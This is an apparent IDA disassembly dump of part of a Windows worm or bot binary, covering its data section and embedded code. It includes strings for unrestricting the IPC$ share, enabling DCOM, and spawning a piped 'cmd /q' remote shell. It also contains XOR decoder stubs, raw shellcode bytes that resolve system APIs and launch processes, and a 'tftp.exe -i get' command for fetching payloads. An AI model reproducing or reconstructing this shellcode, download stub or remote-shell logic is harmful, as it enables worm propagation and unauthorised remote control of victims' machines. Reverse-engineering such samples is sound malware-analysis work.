unk_433790	db    2			; DATA XREF: sub_4162AC:loc_4163D3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_4337DC	db    2			; DATA XREF: sub_4162AC:loc_4163B5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_433820	db    2			; DATA XREF: sub_4162AC+102o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43386C	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_4162AC:loc_416319o
		dd 2202967h, 2002BBBBh,	4F434420h, 6E65204Dh, 656C6261h
		dd 2E64h
unk_433898	db    2			; DATA XREF: sub_4162AC+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_4338CC	dw 59h			; DATA XREF: sub_4162AC+38r
		align 10h
dword_4338D0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C6+DEo
		dd 2029671Fh, 2BBBB02h
aWaitformultipl	db '  WaitForMultipleObjects error: <%d>.',0
		align 4
dword_433914	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C6+59o
					; sub_4165C6+8Bo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_0	db '  Failed to create ReadShell session thread, error: <%d>.',0
		align 4
dword_43396C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+AFo
		dd 2029671Fh, 2BBBB02h
aFailedToExecut	db '  Failed to execute shell.',0
		align 4
dword_4339A4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+7Eo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_1	db '  Failed to create shell stdin pipe, error: <%d>.',0
		align 4
dword_4339F4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+5Co
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_2	db '  Failed to create shell stdout pipe, error: <%d>.',0
		align 4
dword_433A44	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416810+C3o
		dd 2029671Fh, 2BBBB02h
aFailedToExec_0	db '  Failed to execute shell, error: <%d>.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_416810+8Co
		align 10h
dword_433A90	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4168E9+A1o
		dd 2029671Fh, 2BBBB02h
aSessionreadshe	db '  SessionReadShellThread exited, error: <%ld>.',0
		align 4

loc_433ADC:				; DATA XREF: sub_416C55+C4o
		jmp	short loc_433AE0
; ---------------------------------------------------------------------------

loc_433ADE:				; CODE XREF: ___:loc_433AE0p
		jmp	short loc_433AE5
; ---------------------------------------------------------------------------

loc_433AE0:				; CODE XREF: ___:loc_433ADCj
		call	loc_433ADE

loc_433AE5:				; CODE XREF: ___:loc_433ADEj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_433AEA	dw 0FFFFh		; DATA XREF: sub_416C55+CCw
		db 80h,	73h, 0Eh
byte_433AEF	db 0FFh			; DATA XREF: sub_416C55+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------

loc_433AF4:				; DATA XREF: sub_416C55+A2o
		jmp	short loc_433AF8
; ---------------------------------------------------------------------------

loc_433AF6:				; CODE XREF: ___:loc_433AF8p
		jmp	short loc_433AFD
; ---------------------------------------------------------------------------

loc_433AF8:				; CODE XREF: ___:loc_433AF4j
		call	loc_433AF6

loc_433AFD:				; CODE XREF: ___:loc_433AF6j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_433B01	db 0FFh			; DATA XREF: sub_416C55+AAw
		dw 7380h
		db 0Ch
byte_433B05	db 0FFh			; DATA XREF: sub_416C55+B0w
		dw 0E243h
		dd 0F9h
dword_433B0C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_416ADE+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_433B70	dd 12h			; DATA XREF: sub_416ADE+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_416ADE+79o
aJ		db 'j',0
		db 0E8h
dword_433B89	dd 17h			; DATA XREF: sub_416ADE+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_433B90
		retn
; ---------------------------------------------------------------------------
byte_433B90	db 0E8h			; CODE XREF: ___:00433B8Dj
dword_433B91	dd 1			; DATA XREF: sub_416ADE+45w
byte_433B95	db 0, 6Ah, 0		; DATA XREF: sub_416ADE+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_433B9F	dd 0FFFFFFEDh		; DATA XREF: sub_416ADE+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o
dword_433C20	dd 29E2C0h		; DATA XREF: sub_417302+4w sub_41730Cr ...
		align 10h
dword_433C30	dd 173Fh		; DATA XREF: sub_417CA4+Dr
		dd 9875h, 9873h
off_433C3C	dd offset sub_417D73	; DATA XREF: ___:00419AB8r
		dd offset nullsub_2
		dd offset nullsub_2
dword_433C48	dd 1B3Fh		; DATA XREF: sub_417DEB+Dr
dword_433C4C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41826D+2o
					; sub_418276+2o
off_433C60	dd offset sub_419AF6	; DATA XREF: sub_419CDA+1Cr
dword_433C64	dd 2			; DATA XREF: sub_41F84C+Er
					; sub_41F885+46r ...
off_433C68	dd offset aNull_0	; DATA XREF: sub_419E38:loc_41A19Cr
					; sub_419E38+457r
					; "(null)"
off_433C6C	dd offset aNull		; DATA XREF: sub_419E38+259r
					; "(null)"
off_433C70	dd offset word_433C7A	; DATA XREF: sub_417794+23r
					; sub_417794:loc_4177F5r ...
off_433C74	dd offset word_433C7A	; DATA XREF: sub_422EB1+18r
		db 2 dup(0)
word_433C7A	dw 20h			; DATA XREF: sub_42102E+18r
					; ___:off_433C70o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_433E7C	dd 1			; DATA XREF: sub_417794:loc_41779Cr
					; sub_417794:loc_4177E0r ...
byte_433E80	db 2Eh			; DATA XREF: sub_41C86F:loc_41C8AFr
					; sub_41C8C9+4r ...
		align 4
		dd 1, 10h, 0
off_433E90	dd offset off_433E90	; DATA XREF: sub_41B888+Do
					; sub_41B888+69o ...
off_433E94	dd offset off_433E90	; DATA XREF: sub_41B888:loc_41B908r
					; sub_41B888+89w ...
		dd offset dword_433EA8
		dd offset dword_433EA8
dword_433EA0	dd 0FFFFFFFFh		; DATA XREF: sub_41B888r
					; sub_41B9CC:loc_41BA19w
		dd 0FFFFFFFFh
dword_433EA8	dd 0F0h, 0F1h, 4E6h dup(0) ; DATA XREF:	___:00433E98o
					; ___:00433E9Co
		db 0
byte_435249	db 3 dup(0)		; DATA XREF: ___:off_4274DCo
		dd 319h	dup(0)
off_435EB0	dd offset off_433E90	; DATA XREF: sub_41B9CC+15r
					; sub_41B9CC+20w ...
dword_435EB4	dd 1E0h			; DATA XREF: sub_417BC7:loc_417C03r
					; sub_41944F+185r ...
dword_435EB8	dd 14h			; DATA XREF: sub_41C5B8+2o
off_435EBC	dd offset aExp		; DATA XREF: sub_41C5B8:loc_41C5D5r
					; "exp"
		dd 1Dh,	42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h
		dd 13h,	4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h
		dd 0Fh,	4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh,	4247BCh
		dd 12h,	4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h
		dd 15h,	42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h
		dd 18h,	42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h
		dd 23h,	424764h, 24h, 424760h
dbl_435F90	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+B7r
					; sub_41C2F3:loc_41C3DAr ...
		dd 0
		dd 0FFF80000h
dbl_435FA0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+92r
					; sub_41C2F3:loc_41C3B2r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_435FB8	dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr
					; sub_41C7A0+1Fr
		align 4
tbyte_435FC4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r
		align 10h
off_435FD0	dd offset sub_41CC34	; DATA XREF: sub_417D8B+Fw
					; sub_419E38+3AAr
off_435FD4	dd offset sub_41C8C9	; DATA XREF: sub_417D8B+5w
					; sub_419E38+3E2r
off_435FD8	dd offset sub_41C92F	; DATA XREF: sub_417D8B+14w
					; sub_41D797+430r
off_435FDC	dd offset sub_41C86F	; DATA XREF: sub_417D8B+1Ew
					; sub_419E38+3CBr
off_435FE0	dd offset sub_41C917	; DATA XREF: sub_417D8B+28w
off_435FE4	dd offset sub_41CC34	; DATA XREF: sub_417D8B+32w
		dd offset sub_42086E
		align 10h
		dd offset sub_41D4FC
off_435FF4	dd offset sub_41D4FC	; DATA XREF: sub_41D552+29r
dword_435FF8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41D797:loc_41DCFEo
dword_436000	dd 5Dh,	0		; DATA XREF: sub_41D797:loc_41DBEEo
byte_436008	db 1			; DATA XREF: sub_41E92D+E1r
		db 2, 4, 8
		align 10h
dword_436010	dd 3A4h			; DATA XREF: sub_41E92D+2Fo
dword_436014	dd 82798260h, 21h, 0	; DATA XREF: sub_41E92D+11Dr
dword_436020	dd 0DFA6h		; DATA XREF: sub_41E92D+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_436100	dd 1			; DATA XREF: sub_41E92D+3Co
					; sub_41EF44+Co
dword_436104	dd 16h			; DATA XREF: sub_41EF44:loc_41EF79r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_436268	dd 0C0000005h		; DATA XREF: sub_41EF44+19o
					; sub_41F0EC+Ar ...
dword_43626C	dd 0Bh			; DATA XREF: sub_421D69+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4362E0	dd 3			; DATA XREF: ___:0041F003r
					; sub_421C3C+C8r
dword_4362E4	dd 7			; DATA XREF: ___:0041F009r
					; sub_421C3C+CDr
dword_4362E8	dd 0Ah			; DATA XREF: sub_41F0EC+4r
					; sub_421D69+4r
dword_4362EC	dd 8Ch			; DATA XREF: ___:0041F02Dr
					; ___:0041F03Aw ...
dword_4362F0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_419D23:loc_419DE0o
					; sub_41E248:loc_41E2C9o
dword_4362F8	dd 2			; DATA XREF: sub_41F885+Eo
					; sub_41F885+28r
off_4362FC	dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr
					; sub_41F885+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 424B2Ch, 9, 424B00h, 0Ah,	424ADCh, 10h, 424AB0h
		dd 11h,	424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h
		dd 19h,	4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h
		dd 78h,	424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h
		dd 0FFh, 4248F8h
off_436388	dd offset dword_4CDCC0	; DATA XREF: sub_41F885+1Bo
					; sub_41FA42+55o
		align 10h
		dd offset dword_4CDCC0
		dd 101h
dword_436398	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41FA42+72o
		dd 1000h, 0
dword_4363A8	dd 3 dup(0)		; DATA XREF: sub_419D23+50o
					; sub_41A8A2+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_4363C8	dd 3 dup(0)		; DATA XREF: sub_419D23+58o
					; sub_41A8A2:loc_41A8C0o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_4363F8	dd 84h dup(0)		; DATA XREF: sub_41FA42+9Bo
dword_436608	dd 2694h		; DATA XREF: sub_41BF55+3r
					; sub_41BFA8+46r ...
		align 10h
dword_436610	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_42064Eo
dword_436628	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o
dword_436640	dd 7080h		; DATA XREF: sub_41D609+76r
					; sub_42094E+5Ew ...
dword_436644	dd 1			; DATA XREF: sub_41D609+98r
					; sub_42094E+8Bw ...
dword_436648	dd 0FFFFF1F0h		; DATA XREF: sub_41D609:loc_41D6BBr
					; sub_42094E+94w ...
off_43664C	dd offset loc_54534F+1	; DATA XREF: ___:off_4366CCo
		dd 0Fh dup(0)
off_43668C	dd offset loc_544450	; DATA XREF: ___:off_4366D0o
		dd 0Fh dup(0)
off_4366CC	dd offset off_43664C	; DATA XREF: sub_42094E+BAr
					; sub_42094E+D9r ...
off_4366D0	dd offset off_43668C	; DATA XREF: sub_42094E+F4r
					; sub_42094E+11Br ...
		align 8
dword_4366D8	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+1Dw
					; sub_420BAC+1Er ...
dword_4366DC	dd 0			; DATA XREF: sub_420BAC:loc_420CE0r
					; sub_420D58+BFw
dword_4366E0	dd 0			; DATA XREF: sub_420BAC+192r
					; sub_420D58+E0w
		align 8
dword_4366E8	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+17w
					; sub_420BAC+26r ...
dword_4366EC	dd 0			; DATA XREF: sub_420BAC+13Ar
					; sub_420D58+EAw ...
dword_4366F0	dd 0			; DATA XREF: sub_420BAC+1A1r
					; sub_420D58+23r ...
dword_4366F4	dd 0FFFFFFFFh		; DATA XREF: sub_420D58+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_436724	dd 16Dh			; DATA XREF: sub_41D609+2Ar
					; sub_420D58+2Er ...
dword_436728	dd 0FFFFFFFFh		; DATA XREF: sub_420D58:loc_420DE4r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_436760	dd 2 dup(0)		; DATA XREF: sub_4220C1+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4368C0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4220C1+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_436A1C	dd offset off_424D00	; DATA XREF: ___:00424EDCo
					; ___:00424FC8o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_436A34	dd offset off_424D00	; DATA XREF: ___:off_424D90o
					; ___:00424DD0o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_436A54	dd offset off_424D00	; DATA XREF: ___:off_424DD8o
					; ___:00424E1Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_436A74	dd offset off_424D00	; DATA XREF: ___:off_424E24o
					; ___:00424E68o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 8
off_436A98	dd offset off_424D00	; DATA XREF: ___:off_424E70o
					; ___:00424EACo
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42086E
		align 8
byte_436AB8	db 0			; DATA XREF: sub_40144A+1D3w
					; sub_40144A+2D2o
		align 2
word_436ABA	dw 0			; DATA XREF: sub_40144A+1E3w
word_436ABC	dw 0			; DATA XREF: sub_40144A+1E9w
word_436ABE	dw 0			; DATA XREF: sub_40144A+1F0w
byte_436AC0	db 0			; DATA XREF: sub_40144A+1F7w
byte_436AC1	db 0			; DATA XREF: sub_40144A+1FEw
word_436AC2	dw 0			; DATA XREF: sub_40144A+204w
dword_436AC4	dd 0			; DATA XREF: sub_40144A+234w
					; sub_40144A+250w
dword_436AC8	dd 0			; DATA XREF: sub_40144A+258w
byte_436ACC	db 0			; DATA XREF: sub_40144A+26Aw
byte_436ACD	db 0			; DATA XREF: sub_40144A+27Dw
word_436ACE	dw 0			; DATA XREF: sub_40144A+295w
word_436AD0	dw 0			; DATA XREF: sub_40144A+2A4w
word_436AD2	dw 0			; DATA XREF: sub_40144A+29Cw
dword_436AD4	dd 101h	dup(0)		; DATA XREF: sub_40144A+2B9o
dword_436ED8	dd 0			; DATA XREF: sub_4029E9+9Eo
byte_436EDC	db 0			; DATA XREF: sub_4029E9+36r
					; sub_402ACC+37r ...
		align 10h
dword_436EE0	dd 0			; DATA XREF: sub_4030D1+10w
					; sub_4030E8+30r ...
		dd 2 dup(0)
dword_436EEC	dd 2 dup(0)		; DATA XREF: sub_403EBA+68o
dword_436EF4	dd 0			; DATA XREF: sub_40395A+13o
					; sub_40EE72+610Do ...
dword_436EF8	dd 0			; DATA XREF: sub_404853+8w
					; ___:00404C22o
		align 10h
dword_436F00	dd 2 dup(0)		; DATA XREF: ___:00404B58o
dword_436F08	dd 0			; DATA XREF: sub_4059DB+2Aw
					; sub_4059DB+51r ...
dword_436F0C	dd 0			; DATA XREF: sub_4030E8+AEr
					; ___:004042D4r ...
		dd 2 dup(0)
dword_436F18	dd 0			; DATA XREF: sub_4071DB+18r
					; sub_40762E+92w ...
dword_436F1C	dd 0			; DATA XREF: sub_407767+4Dr
					; sub_40797F+D9w ...
		dd 7FEh	dup(0)
dword_438F18	dd 6 dup(0)		; DATA XREF: sub_407767+D2o
					; sub_407767+13Bo ...
dword_438F30	dd 0			; DATA XREF: sub_407252+82w
					; sub_407252+102o
dword_438F34	dd 41h dup(0)		; DATA XREF: sub_407252+41o
dword_439038	dd 41h dup(0)		; DATA XREF: sub_407252+63o
dword_43913C	dd 0			; DATA XREF: sub_407252+F8w
					; sub_407252+114r
dword_439140	dd 0			; DATA XREF: sub_407252+52w
dword_439144	dd 0			; DATA XREF: sub_407252+4Dw
					; sub_407252+CFr
dword_439148	dd 20h dup(0)		; DATA XREF: sub_407252+9Ao
					; sub_407252+BAo
dword_4391C8	dd 0			; DATA XREF: sub_407252+8Fw
dword_4391CC	dd 0			; DATA XREF: sub_407252+A7w
					; sub_407252+C7w
dword_4391D0	dd 0			; DATA XREF: sub_407252:loc_40737Cr
		align 8
dword_4391D8	dd 0			; DATA XREF: sub_407252+2D5w
					; sub_407252+32Eo
dword_4391DC	dd 0A2h	dup(0)		; DATA XREF: sub_407252+2C3o
dword_439464	dd 41h dup(0)		; DATA XREF: sub_407252+28Do
dword_439568	dd 0			; DATA XREF: sub_407252+2BAw
					; sub_407252+2E1r
		align 10h
dword_439570	dd 0			; DATA XREF: sub_407252+324w
					; sub_407252+340r
dword_439574	dd 0			; DATA XREF: sub_407252+2E7w
dword_439578	dd 0			; DATA XREF: sub_407252+2F4w
dword_43957C	dd 0			; DATA XREF: sub_407252+2B4w
		dd 0
dword_439584	dd 0			; DATA XREF: sub_407252:loc_4075A8r
dword_439588	dd 0			; DATA XREF: sub_407252+1A1w
					; sub_407252+221o
dword_43958C	dd 41h dup(0)		; DATA XREF: sub_407252+163o
dword_439690	dd 41h dup(0)		; DATA XREF: sub_407252+182o
dword_439794	dd 0			; DATA XREF: sub_407252+217w
					; sub_407252+233r
dword_439798	dd 0			; DATA XREF: sub_407252+171w
dword_43979C	dd 0			; DATA XREF: sub_407252+1EEr
dword_4397A0	dd 20h dup(0)		; DATA XREF: sub_407252+1B9o
					; sub_407252+1D9o
dword_439820	dd 0			; DATA XREF: sub_407252+1AEw
dword_439824	dd 0			; DATA XREF: sub_407252+1C6w
					; sub_407252+1E6w
dword_439828	dd 0			; DATA XREF: sub_407252:loc_40749Cr
		align 10h
dword_439830	dd 0			; DATA XREF: sub_4087EE+Fr
					; sub_4089E7+12r
		align 8
dword_439838	dd 80h dup(0)		; DATA XREF: sub_409706+41o
dword_439A38	dd 200h	dup(0)		; DATA XREF: sub_409037+C7o
					; sub_409392+DDo ...
dword_43A238	dd 200h	dup(0)		; DATA XREF: sub_409037+D6o
					; sub_409392+F4o ...
dword_43AA38	dd 0			; DATA XREF: sub_409037+86w
					; sub_409209+94r
dword_43AA3C	dd 0			; DATA XREF: sub_409037+A7w
					; sub_40966F+55r ...
dword_43AA40	dd 0			; DATA XREF: sub_409037+A0w
					; sub_409209+D6r ...
dword_43AA44	dd 0			; DATA XREF: sub_409037+79w
					; sub_409209+35r ...
dword_43AA48	dd 80h dup(0)		; DATA XREF: sub_40966F+5Eo
dword_43AC48	dd 0			; DATA XREF: sub_409037+93w
					; sub_409209+A2r
		align 10h
dword_43AC50	dd 0			; DATA XREF: sub_409037+E7o
					; sub_409037+103r ...
dword_43AC54	dd 0			; DATA XREF: sub_409392+17Bw
					; sub_409539+107w
dword_43AC58	dd 0			; DATA XREF: sub_409392+180w
					; sub_409539+10Dw ...
dword_43AC5C	dd 0			; DATA XREF: sub_409392+159w
					; sub_40966F+4Fr
dword_43AC60	dd 0			; DATA XREF: sub_4085B3+210r
					; sub_4085B3+21Ar ...
dword_43AC64	dd 0			; DATA XREF: sub_40981F+65w
					; sub_41518A+F5r
dword_43AC68	dd 0			; DATA XREF: sub_40981F+7EDw
					; sub_40981F+862r ...
dword_43AC6C	dd 0			; DATA XREF: sub_40981F+9BAw
					; sub_40981F+A18r ...
dword_43AC70	dd 0			; DATA XREF: sub_40981F+96Cw
					; sub_40981F+9E8r ...
dword_43AC74	dd 0			; DATA XREF: sub_4085B3+D1r
					; sub_40981F+46Fw ...
dword_43AC78	dd 0			; DATA XREF: sub_4023A7+ECr
					; sub_4023A7+109r ...
dword_43AC7C	dd 0			; DATA XREF: sub_40981F+9ADw
					; sub_40981F+A10r ...
dword_43AC80	dd 0			; DATA XREF: sub_40981F+354w
					; sub_40981F+3A9r ...
dword_43AC84	dd 0			; DATA XREF: sub_40981F+3F1w
					; sub_40B8D8+11Er
dword_43AC88	dd 0			; DATA XREF: sub_40981F+361w
					; sub_40981F+3B1r ...
dword_43AC8C	dd 0			; DATA XREF: sub_40981F+3A2w
